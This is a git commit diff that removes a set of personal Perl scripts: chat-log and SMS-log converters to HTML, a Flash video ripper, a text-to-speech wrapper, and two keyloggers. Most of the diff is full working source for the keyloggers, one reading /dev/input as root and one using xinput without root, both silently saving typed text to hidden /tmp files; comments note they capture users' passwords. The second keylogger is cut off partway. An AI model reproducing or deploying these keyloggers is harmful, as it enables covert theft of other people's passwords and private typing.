Retire old shell scripts
Moved them to git.kirsle.net/kirsle/scripts
This commit is contained in:
parent
29903080f2
commit
a80a0f6ba3
|
@ -1,74 +0,0 @@
|
||||||
#!/usr/bin/perl
|
|
||||||
|
|
||||||
# dumpmsn - Pretty up MSN Messenger chat logs.
|
|
||||||
#
|
|
||||||
# Usage: dumpmsn *.xml
|
|
||||||
#
|
|
||||||
# This will create a folder named "html" and put the files there. Give it chat
|
|
||||||
# logs from Windows Live Messenger 2011 or similar (no guarantees it
|
|
||||||
# will work with other versions).
|
|
||||||
#
|
|
||||||
# --Kirsle
|
|
||||||
# http://sh.kirsle.net/
|
|
||||||
|
|
||||||
use 5.14.0;
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
use XML::Simple;
|
|
||||||
|
|
||||||
if (!-d "html") {
|
|
||||||
mkdir("html") or die "Can't create folder 'html': $@";
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach my $file (@ARGV) {
|
|
||||||
say "Dumping $file...";
|
|
||||||
my $xml = XMLin($file, ForceArray => 1);
|
|
||||||
my $html = $file;
|
|
||||||
$html =~ s/\.xml$//g;
|
|
||||||
|
|
||||||
open (my $fh, ">:utf8", "./html/$html.html");
|
|
||||||
print {$fh} <<EOF;
|
|
||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<title>Conversation Log</title>
|
|
||||||
<style>
|
|
||||||
body {
|
|
||||||
background-color: #FFFFFF;
|
|
||||||
font-family: Verdana,Arial,Helvetica,sans-serif;
|
|
||||||
font-size: small;
|
|
||||||
color: #000000;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
EOF
|
|
||||||
|
|
||||||
if (ref($xml->{Message}) ne "ARRAY") {
|
|
||||||
warn "Not an array for $file";
|
|
||||||
next;
|
|
||||||
}
|
|
||||||
foreach my $Message (@{$xml->{Message}}) {
|
|
||||||
my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName};
|
|
||||||
my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName};
|
|
||||||
my $time = $Message->{Date} . " " . $Message->{Time};
|
|
||||||
my ($text,$style);
|
|
||||||
if (ref($Message->{Text}->[0])) {
|
|
||||||
$text = $Message->{Text}->[0]->{content};
|
|
||||||
$style = $Message->{Text}->[0]->{Style};
|
|
||||||
} else {
|
|
||||||
$text = $Message->{Text}->[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
$style //= "";
|
|
||||||
$style = " style=\"$style\"" if length $style > 0;
|
|
||||||
|
|
||||||
print {$fh} "<strong>$time</strong><br>\n"
|
|
||||||
. "<em>$from says:</em>\n"
|
|
||||||
. "<blockquote$style>$text</blockquote>\n"
|
|
||||||
. "<hr>\n\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
print {$fh} "</body>\n</html>";
|
|
||||||
close($fh);
|
|
||||||
}
|
|
|
@ -1,67 +0,0 @@
|
||||||
#!/usr/bin/perl
|
|
||||||
|
|
||||||
# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly
|
|
||||||
# readable HTML files!
|
|
||||||
#
|
|
||||||
# Usage: dumpsms <sms-dump.xml>
|
|
||||||
# Ex: dumpsms sms-20120629202942.xml
|
|
||||||
#
|
|
||||||
# It will create a folder "./sms" if it doesn't exist, and output all the logs
|
|
||||||
# into that folder. It saves HTML files after the contact name, if available.
|
|
||||||
# Logs are opened in append mode, so if you run the script multiple times the
|
|
||||||
# logs get appended to the end of the file!
|
|
||||||
#
|
|
||||||
# --Kirsle
|
|
||||||
# http://sh.kirsle.net/
|
|
||||||
|
|
||||||
use 5.14.0;
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
use autodie;
|
|
||||||
use XML::Simple;
|
|
||||||
|
|
||||||
my $xml = shift or die "$0 <*.xml>";
|
|
||||||
|
|
||||||
mkdir("sms") unless -d "sms";
|
|
||||||
my $ref = XMLin($xml);
|
|
||||||
|
|
||||||
foreach my $sms (@{$ref->{sms}}) {
|
|
||||||
my $num = $sms->{address};
|
|
||||||
|
|
||||||
my $color = $sms->{type} eq "1" ? "receive" : "send";
|
|
||||||
my $dir = $sms->{type} eq "1" ? "From" : "Sent to";
|
|
||||||
|
|
||||||
my $file = "./sms/$sms->{contact_name}.html";
|
|
||||||
if (!-f $file) {
|
|
||||||
open (my $fh, ">", $file);
|
|
||||||
print {$fh} "<!DOCTYPE html>\n"
|
|
||||||
. "<html>\n"
|
|
||||||
. "<head>\n"
|
|
||||||
. "<title>Conversation with $sms->{contact_name}</title>\n"
|
|
||||||
. "<style>\n"
|
|
||||||
. "body {\n"
|
|
||||||
. " font-family: Verdana,Arial,sans-serif;\n"
|
|
||||||
. " font-size: small;\n"
|
|
||||||
. " color: #000000;\n"
|
|
||||||
. "}\n"
|
|
||||||
. ".receive {\n"
|
|
||||||
. " color: #0000FF;\n"
|
|
||||||
. "}\n"
|
|
||||||
. ".send {\n"
|
|
||||||
. " color: #FF0000;\n"
|
|
||||||
. "}\n"
|
|
||||||
. "</style>\n"
|
|
||||||
. "</head>\n"
|
|
||||||
. "<body>\n\n";
|
|
||||||
close($fh);
|
|
||||||
}
|
|
||||||
|
|
||||||
open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html");
|
|
||||||
print {$fh} "<strong class='$color'>$sms->{readable_date}</strong><br>\n"
|
|
||||||
. "<strong>$dir</strong> $sms->{contact_name} - $num\n"
|
|
||||||
. "<blockquote>$sms->{body}</blockquote>\n"
|
|
||||||
. "<hr>\n";
|
|
||||||
close($fh);
|
|
||||||
}
|
|
||||||
|
|
||||||
say "Wrote logs to ./sms";
|
|
|
@ -1,68 +0,0 @@
|
||||||
#!/usr/bin/perl -w
|
|
||||||
|
|
||||||
# flashget - Download Flash videos from any hosting site.
|
|
||||||
# Usage: flashget [output directory default $HOME]
|
|
||||||
# Author: Kirsle
|
|
||||||
# http://sh.kirsle.net/
|
|
||||||
|
|
||||||
# This script doesn't care what your flash player is called. It just looks for
|
|
||||||
# any process that owns a /tmp/Flash####### file and copies it. It works for
|
|
||||||
# both the "old style" Netscape Flash plugin (for Firefox and Chromium) and the
|
|
||||||
# Pepper API style used in Google Chrome.
|
|
||||||
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
use File::Copy;
|
|
||||||
|
|
||||||
my $home = shift @ARGV || (defined $ENV{HOME} ? $ENV{HOME} : ".");
|
|
||||||
|
|
||||||
print "flashget - Searching for Flash videos to rip. For best results, make sure\n"
|
|
||||||
. "you FULLY BUFFER the video first in your web browser.\n\n";
|
|
||||||
|
|
||||||
my $count = 0;
|
|
||||||
|
|
||||||
# First, just do a dumb scan of everything in /proc that we have read-access to
|
|
||||||
# and look for Flash files belonging to either Chrome or the Firefox-style Flash
|
|
||||||
# plugin. Note that the Chrome Flash plugin locks us out of its file descriptors
|
|
||||||
# unless we run with root privileges.
|
|
||||||
opendir (my $proc, "/proc");
|
|
||||||
foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) {
|
|
||||||
# Skip PID's we can't read from.
|
|
||||||
next unless -r "/proc/$pid/fd";
|
|
||||||
|
|
||||||
# Look for flash videos.
|
|
||||||
opendir (my $fd, "/proc/$pid/fd");
|
|
||||||
foreach my $id (sort(grep(!/^\./, readdir($fd)))) {
|
|
||||||
my $file = "/proc/$pid/fd/$id"; # Make it an abs path.
|
|
||||||
if (-l $file) {
|
|
||||||
my $link = readlink($file);
|
|
||||||
|
|
||||||
# Look for a Flash video link.
|
|
||||||
$link =~ s/\s*\(deleted\)//g; # Remove the " (deleted)" extensions.
|
|
||||||
if ($link =~ m{^/tmp/((?:Flash|FreshTemp).*?)$} || $link =~ m{Shockwave Flash/\.(.+?)$}) {
|
|
||||||
# Copy it.
|
|
||||||
my $dest = "$home/$1.flv";
|
|
||||||
print "Recover from PID $pid: $id -> $dest\n";
|
|
||||||
copy($file, $dest) or print "ERR: Couldn't copy to $dest: $@\n";
|
|
||||||
$count++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
closedir($fd);
|
|
||||||
}
|
|
||||||
closedir ($proc);
|
|
||||||
|
|
||||||
print "\nRecovered $count Flash video(s).\n";
|
|
||||||
|
|
||||||
# Do a quick check for Google Chrome Flash processes that we didn't manage to
|
|
||||||
# get files from, to notify the user that they may want to re-run as root.
|
|
||||||
if ($> != 0) {
|
|
||||||
my $ps = `ps aux | grep ppapi | grep -v grep`;
|
|
||||||
if ($ps) {
|
|
||||||
print "I found a few Google Chrome Flash plugins running, but I need\n"
|
|
||||||
. "root permissions to read those files (unless you saw some files\n"
|
|
||||||
. "named like 'com.google' above). Run this script as root to get\n"
|
|
||||||
. "Flash videos out of Google Chrome.\n";
|
|
||||||
print "$ps\n";
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,27 +0,0 @@
|
||||||
#!/usr/bin/perl
|
|
||||||
|
|
||||||
# gsay - Text to Speech using Google
|
|
||||||
# Usage: gsay <message>
|
|
||||||
#
|
|
||||||
# --Kirsle
|
|
||||||
# http://sh.kirsle.net/
|
|
||||||
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
use URI::Escape;
|
|
||||||
|
|
||||||
if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) {
|
|
||||||
die "Usage: $0 <message>\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
my $message = uri_escape(join(" ", @ARGV));
|
|
||||||
|
|
||||||
# Check for mplayer.
|
|
||||||
chomp(my $mplayer = `which mplayer 2>/dev/null`);
|
|
||||||
if ($? || !$mplayer) {
|
|
||||||
die "Couldn't find `mplayer` - please install it!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
# Fork a background process to speak and exit immediately.
|
|
||||||
exit if fork();
|
|
||||||
exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1");
|
|
370
home/bin/keylog
370
home/bin/keylog
|
@ -1,370 +0,0 @@
|
||||||
#!/usr/bin/perl -w
|
|
||||||
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
use threads;
|
|
||||||
use threads::shared;
|
|
||||||
|
|
||||||
# keylog - A simple key logger.
|
|
||||||
# Usage: keylog <path-to-device-node>
|
|
||||||
# Example: keylog /dev/input/event0
|
|
||||||
#
|
|
||||||
# The user you run this as should have read access to the device node. Most of
|
|
||||||
# the time, this means you'll need to run this as root.
|
|
||||||
#
|
|
||||||
# To find out which device node your keyboard is using, run the command
|
|
||||||
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
|
|
||||||
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
|
|
||||||
# in this case the input device is /dev/input/event4. Update this for any
|
|
||||||
# other event number that you see instead.
|
|
||||||
#
|
|
||||||
# This program prints ALL key events to the terminal (including the key up/down
|
|
||||||
# events for all keys). This information probably isn't directly useful to you,
|
|
||||||
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
|
|
||||||
# it logs are probably the most useful to you; if the user hits the backspace
|
|
||||||
# key, the last key they typed is deleted, etc.. so if a user is typing their
|
|
||||||
# password and makes a typo and finishes typing, you'll get their full password.
|
|
||||||
#
|
|
||||||
# The buffer used for this is saved after 2 seconds of idle time in their typing,
|
|
||||||
# or when a "separator key" is entered (a separator key is: Enter, Return, or
|
|
||||||
# Tab). Each buffer is saved to its own line in the log file. If the user is a
|
|
||||||
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
|
|
||||||
# figure this out yourself.
|
|
||||||
#
|
|
||||||
# This is just a proof of concept and should be used for educational purposes
|
|
||||||
# only.
|
|
||||||
#
|
|
||||||
# --Kirsle
|
|
||||||
# http://sh.kirsle.net/
|
|
||||||
|
|
||||||
# Modify the die handler so we can exit on error messages
|
|
||||||
# more gracefully.
|
|
||||||
$SIG{__DIE__} = sub {
|
|
||||||
my $err = shift;
|
|
||||||
$err =~ s/ at .+ line .+\.//g;
|
|
||||||
print $err;
|
|
||||||
exit(1);
|
|
||||||
};
|
|
||||||
|
|
||||||
# Get the device node from command line.
|
|
||||||
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
|
|
||||||
my $DEV = $ARGV[0];
|
|
||||||
|
|
||||||
# Must run this as root, or be able to read from the device.
|
|
||||||
if (!-r $DEV) {
|
|
||||||
die "Can't read from $DEV; got root?";
|
|
||||||
}
|
|
||||||
|
|
||||||
# Hash to keep track of modifier keys.
|
|
||||||
our $mod = {
|
|
||||||
shift => 0,
|
|
||||||
alt => 0,
|
|
||||||
ctrl => 0,
|
|
||||||
};
|
|
||||||
|
|
||||||
# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
|
|
||||||
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
|
|
||||||
# in the log file. The backspace key deletes text in the buffer, etc. This way
|
|
||||||
# you can see basically what they typed, without having to parse through the
|
|
||||||
# key up/down events yourself.
|
|
||||||
my $buffer : shared;
|
|
||||||
my $lastkey : shared; # Holds the time() of the last key event seen.
|
|
||||||
my $writenow : shared; # The key parser can force the buffer to write now.
|
|
||||||
$buffer = '';
|
|
||||||
$lastkey = 0;
|
|
||||||
$writenow = 0;
|
|
||||||
|
|
||||||
# Spawn a thread to watch the buffer and write it to disk. This way the
|
|
||||||
# blocking file reads won't prevent the buffer from being written.
|
|
||||||
my $bufthread = threads->create (\&buffer);
|
|
||||||
|
|
||||||
# Open the device for reading.
|
|
||||||
open (FILE, $DEV);
|
|
||||||
while (1) {
|
|
||||||
# Read the next keypress event.
|
|
||||||
my $line = "";
|
|
||||||
sysread(FILE, $line, 16);
|
|
||||||
my @vals = split(//, $line);
|
|
||||||
|
|
||||||
if (ord($vals[10]) != 0) {
|
|
||||||
# Interpret the event.
|
|
||||||
interpret(ord($vals[10]),ord($vals[12]));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
close (FILE);
|
|
||||||
|
|
||||||
# This is the buffer writing thread.
|
|
||||||
sub buffer {
|
|
||||||
while (1) {
|
|
||||||
select(undef,undef,undef,0.1);
|
|
||||||
|
|
||||||
# Was there a 2 second delay from the last event?
|
|
||||||
if ($lastkey == 0) {
|
|
||||||
next;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
|
|
||||||
# Write it to disk.
|
|
||||||
print "Writing buffer to disk\n";
|
|
||||||
open (WRITE, ">>/tmp/.keylog");
|
|
||||||
print WRITE ts() . "$buffer\n";
|
|
||||||
close (WRITE);
|
|
||||||
$buffer = '';
|
|
||||||
$lastkey = 0;
|
|
||||||
$writenow = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# Interpret keycode events from the device node.
|
|
||||||
sub interpret {
|
|
||||||
my ($keycode,$state) = @_;
|
|
||||||
|
|
||||||
# Store the last keypress time.
|
|
||||||
$lastkey = time();
|
|
||||||
|
|
||||||
# Qwerty keyboard map.
|
|
||||||
qwerty($keycode,$state);
|
|
||||||
return;
|
|
||||||
|
|
||||||
# This code doesn't run; if you want it to run,
|
|
||||||
# comment out the "return" just above these
|
|
||||||
# comments. This is for debugging purposes.
|
|
||||||
print "[$keycode] ";
|
|
||||||
if ($state == 0) {
|
|
||||||
print "up\n";
|
|
||||||
}
|
|
||||||
elsif ($state == 1) {
|
|
||||||
print "down\n";
|
|
||||||
}
|
|
||||||
elsif ($state == 2) {
|
|
||||||
print "repeat\n";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
print "\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# Interpret keycodes based on QWERTY key map.
|
|
||||||
sub qwerty {
|
|
||||||
my ($code,$state) = @_;
|
|
||||||
return unless $state >= 0 && $state <= 2;
|
|
||||||
|
|
||||||
# Handle the modifier keys first.
|
|
||||||
if ($code == 42 || $code == 54) {
|
|
||||||
# Shift key.
|
|
||||||
$mod->{shift} = ($state == 1 ? 1 : 0);
|
|
||||||
}
|
|
||||||
elsif ($code == 29 || $code == 97) {
|
|
||||||
# Ctrl key.
|
|
||||||
$mod->{ctrl} = ($state == 1 ? 1 : 0);
|
|
||||||
}
|
|
||||||
elsif ($code == 56 || $code == 100) {
|
|
||||||
# Alt key.
|
|
||||||
$mod->{alt} = ($state == 1 ? 1 : 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
# Qwery keys.
|
|
||||||
my %keys = (
|
|
||||||
# Keys that map to two different characters (with shift
|
|
||||||
# key held down) are an array; element 0 is the non-shifted
|
|
||||||
# character, element 1 is the shifted character.
|
|
||||||
|
|
||||||
# number row
|
|
||||||
41 => [ '`', '~' ],
|
|
||||||
2 => [ '1', '!' ],
|
|
||||||
3 => [ '2', '@' ],
|
|
||||||
4 => [ '3', '#' ],
|
|
||||||
5 => [ '4', '$' ],
|
|
||||||
6 => [ '5', '%' ],
|
|
||||||
7 => [ '6', '^' ],
|
|
||||||
8 => [ '7', '&' ],
|
|
||||||
9 => [ '8', '*' ],
|
|
||||||
10 => [ '9', '(' ],
|
|
||||||
11 => [ '0', ')' ],
|
|
||||||
12 => [ '-', '_' ],
|
|
||||||
13 => [ '=', '+' ],
|
|
||||||
|
|
||||||
# qwerty row
|
|
||||||
16 => [ 'q', 'Q' ],
|
|
||||||
17 => [ 'w', 'W' ],
|
|
||||||
18 => [ 'e', 'E' ],
|
|
||||||
19 => [ 'r', 'R' ],
|
|
||||||
20 => [ 't', 'T' ],
|
|
||||||
21 => [ 'y', 'Y' ],
|
|
||||||
22 => [ 'u', 'U' ],
|
|
||||||
23 => [ 'i', 'I' ],
|
|
||||||
24 => [ 'o', 'O' ],
|
|
||||||
25 => [ 'p', 'P' ],
|
|
||||||
26 => [ '[', '{' ],
|
|
||||||
27 => [ ']', '}' ],
|
|
||||||
43 => [ '\\', '|' ],
|
|
||||||
|
|
||||||
# asdf row
|
|
||||||
30 => [ 'a', 'A' ],
|
|
||||||
31 => [ 's', 'S' ],
|
|
||||||
32 => [ 'd', 'D' ],
|
|
||||||
33 => [ 'f', 'F' ],
|
|
||||||
34 => [ 'g', 'G' ],
|
|
||||||
35 => [ 'h', 'H' ],
|
|
||||||
36 => [ 'j', 'J' ],
|
|
||||||
37 => [ 'k', 'K' ],
|
|
||||||
38 => [ 'l', 'L' ],
|
|
||||||
39 => [ ';', ':' ],
|
|
||||||
40 => [ "'", '"' ],
|
|
||||||
|
|
||||||
# zxcv row
|
|
||||||
44 => [ 'z', 'Z' ],
|
|
||||||
45 => [ 'x', 'X' ],
|
|
||||||
46 => [ 'c', 'C' ],
|
|
||||||
47 => [ 'v', 'V' ],
|
|
||||||
48 => [ 'b', 'B' ],
|
|
||||||
49 => [ 'n', 'N' ],
|
|
||||||
50 => [ 'm', 'M' ],
|
|
||||||
51 => [ ',', '<' ],
|
|
||||||
52 => [ '.', '>' ],
|
|
||||||
53 => [ '/', '?' ],
|
|
||||||
|
|
||||||
# Other keys
|
|
||||||
14 => 'Backspace',
|
|
||||||
28 => 'Return',
|
|
||||||
96 => 'Enter',
|
|
||||||
15 => 'Tab',
|
|
||||||
57 => ' ',
|
|
||||||
58 => 'Caps Lock',
|
|
||||||
69 => 'Num Lock',
|
|
||||||
70 => 'Scroll Lock',
|
|
||||||
42 => 'L-Shift',
|
|
||||||
54 => 'R-Shift',
|
|
||||||
29 => 'L-Ctrl',
|
|
||||||
97 => 'R-Ctrl',
|
|
||||||
56 => 'L-Alt',
|
|
||||||
100 => 'R-Alt',
|
|
||||||
125 => 'L-Super',
|
|
||||||
126 => 'R-Super',
|
|
||||||
127 => 'Menu',
|
|
||||||
1 => 'Escape',
|
|
||||||
59 => 'F1',
|
|
||||||
60 => 'F2',
|
|
||||||
61 => 'F3',
|
|
||||||
62 => 'F4',
|
|
||||||
63 => 'F5',
|
|
||||||
64 => 'F6',
|
|
||||||
65 => 'F7',
|
|
||||||
66 => 'F8',
|
|
||||||
67 => 'F9',
|
|
||||||
68 => 'F10',
|
|
||||||
87 => 'F11',
|
|
||||||
88 => 'F12',
|
|
||||||
110 => 'Insert',
|
|
||||||
102 => 'Home',
|
|
||||||
107 => 'End',
|
|
||||||
104 => 'Pg Up',
|
|
||||||
109 => 'Pg Dn',
|
|
||||||
111 => 'Del',
|
|
||||||
99 => 'Print Screen',
|
|
||||||
119 => 'Pause',
|
|
||||||
103 => 'Up',
|
|
||||||
108 => 'Down',
|
|
||||||
106 => 'Right',
|
|
||||||
105 => 'Left',
|
|
||||||
71 => [ 'Num-7', 'Num-Home' ],
|
|
||||||
72 => [ 'Num-8', 'Num-Up' ],
|
|
||||||
73 => [ 'Num-9', 'Num-Pg Up' ],
|
|
||||||
75 => [ 'Num-4', 'Num-Left' ],
|
|
||||||
76 => 'Num-5',
|
|
||||||
77 => [ 'Num-6', 'Num-Right' ],
|
|
||||||
79 => [ 'Num-1', 'Num-End' ],
|
|
||||||
80 => [ 'Num-2', 'Num-Down' ],
|
|
||||||
81 => [ 'Num-3', 'Num-Pg Dn' ],
|
|
||||||
82 => [ 'Num-0', 'Num-Insert' ],
|
|
||||||
96 => 'Num-/',
|
|
||||||
55 => 'Num-*',
|
|
||||||
74 => 'Num--',
|
|
||||||
78 => 'Num-+',
|
|
||||||
93 => [ 'Num-.', 'Num-Del' ],
|
|
||||||
);
|
|
||||||
|
|
||||||
# See their matching keypress.
|
|
||||||
my $keypress = '';
|
|
||||||
foreach my $key (sort keys %keys) {
|
|
||||||
if ($code == $key) {
|
|
||||||
# We have a match! Does the key have a shift-modifier?
|
|
||||||
if (ref($keys{$key}) eq "ARRAY") {
|
|
||||||
if ($mod->{shift}) {
|
|
||||||
$keypress = $keys{$key}->[1];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$keypress = $keys{$key}->[0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$keypress = $keys{$key};
|
|
||||||
}
|
|
||||||
last;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# Add it to the buffer.
|
|
||||||
if ($state == 1) {
|
|
||||||
if (length $keypress > 1) {
|
|
||||||
if ($keypress eq 'Backspace') {
|
|
||||||
# Delete the last character off the end of their buffer.
|
|
||||||
$buffer = substr($buffer,0,(length($buffer) - 1));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
# Add the special key with {brackets} around it.
|
|
||||||
$buffer .= "{$keypress}";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$buffer .= $keypress;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# If they hit a separator key, save the buffer right now.
|
|
||||||
if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
|
|
||||||
$writenow = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Print their key.
|
|
||||||
if ($mod->{shift}) {
|
|
||||||
$keypress = "(Shift) $keypress";
|
|
||||||
}
|
|
||||||
if ($mod->{ctrl}) {
|
|
||||||
$keypress = "(Ctrl) $keypress";
|
|
||||||
}
|
|
||||||
if ($mod->{alt}) {
|
|
||||||
$keypress = "(Alt) $keypress";
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($state == 1) {
|
|
||||||
$keypress = "+ $keypress";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$keypress = "- $keypress";
|
|
||||||
}
|
|
||||||
|
|
||||||
print "$code $keypress\n";
|
|
||||||
|
|
||||||
# Log the raw keypresses too.
|
|
||||||
open (RAW, ">>/tmp/.rawkeylog");
|
|
||||||
print RAW ts() . "$code $keypress\n";
|
|
||||||
close (RAW);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub ts {
|
|
||||||
my @time = localtime();
|
|
||||||
return "[" . join(" ",
|
|
||||||
join("-",
|
|
||||||
sprintf("%04d", $time[5] + 1900),
|
|
||||||
sprintf("%02d", $time[4] + 1),
|
|
||||||
sprintf("%02d", $time[3]),
|
|
||||||
),
|
|
||||||
join(":",
|
|
||||||
sprintf("%02d", $time[2]),
|
|
||||||
sprintf("%02d", $time[1]),
|
|
||||||
sprintf("%02d", $time[0]),
|
|
||||||
),
|
|
||||||
) . "] ";
|
|
||||||
}
|
|
292
home/bin/keylog2
292
home/bin/keylog2
|
@ -1,292 +0,0 @@
|
||||||
#!/usr/bin/perl -w
|
|
||||||
|
|
||||||
# keylog2 - a rootless keylogger that only requires an X server and the xinput
|
|
||||||
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
|
|
||||||
# the Perl module IO::Pty::Easy.
|
|
||||||
#
|
|
||||||
# Unlike my first keylogger proof-of-concept, this one doesn't require root
|
|
||||||
# privileges because it just uses the X Window System. Therefore it only
|
|
||||||
# catches key inputs made to graphical programs on the same X server that the
|
|
||||||
# keylogger runs on.
|
|
||||||
#
|
|
||||||
# How it works: running `xinput list` lists all your X input devices. There's
|
|
||||||
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
|
|
||||||
# keyboard". Get the ID from the line that says this and then run
|
|
||||||
# `xinput test <id>` and it will start dumping keystroke information as the
|
|
||||||
# user types keys into ANY graphical app.
|
|
||||||
#
|
|
||||||
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
|
|
||||||
# so no guarantees it will work for everybody. This is just another proof of
|
|
||||||
# concept anyway, and shouldn't be used for malicious purposes.
|
|
||||||
#
|
|
||||||
# Under the default configuration, the log file is written to /tmp/.keylog
|
|
||||||
# and only logs key release events, except for modifier keys (Shift, Ctrl,
|
|
||||||
# Alt, and Super (Windows key)) where it will also log the Key Down event
|
|
||||||
# (so Alt-Tabbing makes more sense in the log, for example). You can
|
|
||||||
# optionally configure it to log EVERY key down event if you'd like, though.
|
|
||||||
#
|
|
||||||
# Again, this is just a proof of concept and should be used for educational
|
|
||||||
# purposes only, and not for anything malicious.
|
|
||||||
#
|
|
||||||
# --Kirsle
|
|
||||||
# http://sh.kirsle.net/
|
|
||||||
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
use IO::Pty::Easy;
|
|
||||||
use IO::Handle;
|
|
||||||
|
|
||||||
##########################
|
|
||||||
# Configuration #
|
|
||||||
##########################
|
|
||||||
|
|
||||||
my $conf = {
|
|
||||||
# Log files to write keys to
|
|
||||||
logfile => "/tmp/.keylog",
|
|
||||||
|
|
||||||
# By default only key-releases are logged. Log key-presses too?
|
|
||||||
log_keydown => 0,
|
|
||||||
};
|
|
||||||
|
|
||||||
##########################
|
|
||||||
# End Configuration #
|
|
||||||
##########################
|
|
||||||
|
|
||||||
# X11 display.
|
|
||||||
$ENV{DISPLAY} ||= ":0.0";
|
|
||||||
|
|
||||||
# Make sure we have xinput.
|
|
||||||
if (system("which xinput > /dev/null") != 0) {
|
|
||||||
print "You require the `xinput` command for this keylogger to work.\n";
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
# Get the input list.
|
|
||||||
my @inputs = `xinput list`;
|
|
||||||
|
|
||||||
# Find the AT keyboard.
|
|
||||||
my $id;
|
|
||||||
foreach my $line (@inputs) {
|
|
||||||
$line =~ s/^[\s\t]+//g;
|
|
||||||
$line =~ s/[\s\t]+$//g;
|
|
||||||
$line =~ s/[\x0D\x0A]+//g;
|
|
||||||
next unless length $line;
|
|
||||||
if ($line =~ /keyboard/i && $line =~ /. AT/) {
|
|
||||||
($id) = ($line =~ /id=(\d+)/)[0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (!defined $id) {
|
|
||||||
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
print "Keyboard ID: $id\n";
|
|
||||||
|
|
||||||
# Track state of modifier keys.
|
|
||||||
our %mod = (
|
|
||||||
'shift' => 0,
|
|
||||||
'ctrl' => 0,
|
|
||||||
'alt' => 0,
|
|
||||||
'super' => 0,
|
|
||||||
);
|
|
||||||
|
|
||||||
# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
|
|
||||||
my $tty = IO::Pty::Easy->new();
|
|
||||||
print "Watching `xinput test $id`\n";
|
|
||||||
$tty->spawn("xinput test $id");
|
|
||||||
|
|
||||||
while ($tty->is_active) {
|
|
||||||
my $data = $tty->read();
|
|
||||||
my @lines = split(/\n/, $data);
|
|
||||||
foreach my $line (@lines) {
|
|
||||||
# Key event?
|
|
||||||
chomp $line;
|
|
||||||
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
|
|
||||||
event($1, $2);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# Handle key events
|
|
||||||
sub event {
|
|
||||||
my ($event,$sym) = @_;
|
|
||||||
|
|
||||||
# Only QWERTY keyboards supported.
|
|
||||||
my $key = kbd_qwerty($event,$sym);
|
|
||||||
|
|
||||||
print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
|
|
||||||
|
|
||||||
# Log it?
|
|
||||||
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
|
|
||||||
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
|
|
||||||
my @time = localtime(time());
|
|
||||||
my $ts = join(" ",
|
|
||||||
join("-",
|
|
||||||
sprintf("%4d", $time[5] + 1900),
|
|
||||||
sprintf("%2d", $time[4] + 1),
|
|
||||||
sprintf("%2d", $time[3]),
|
|
||||||
),
|
|
||||||
join(":",
|
|
||||||
sprintf("%2d", $time[2]),
|
|
||||||
sprintf("%2d", $time[1]),
|
|
||||||
sprintf("%2d", $time[0]),
|
|
||||||
),
|
|
||||||
);
|
|
||||||
|
|
||||||
open (my $log, ">>", $conf->{logfile});
|
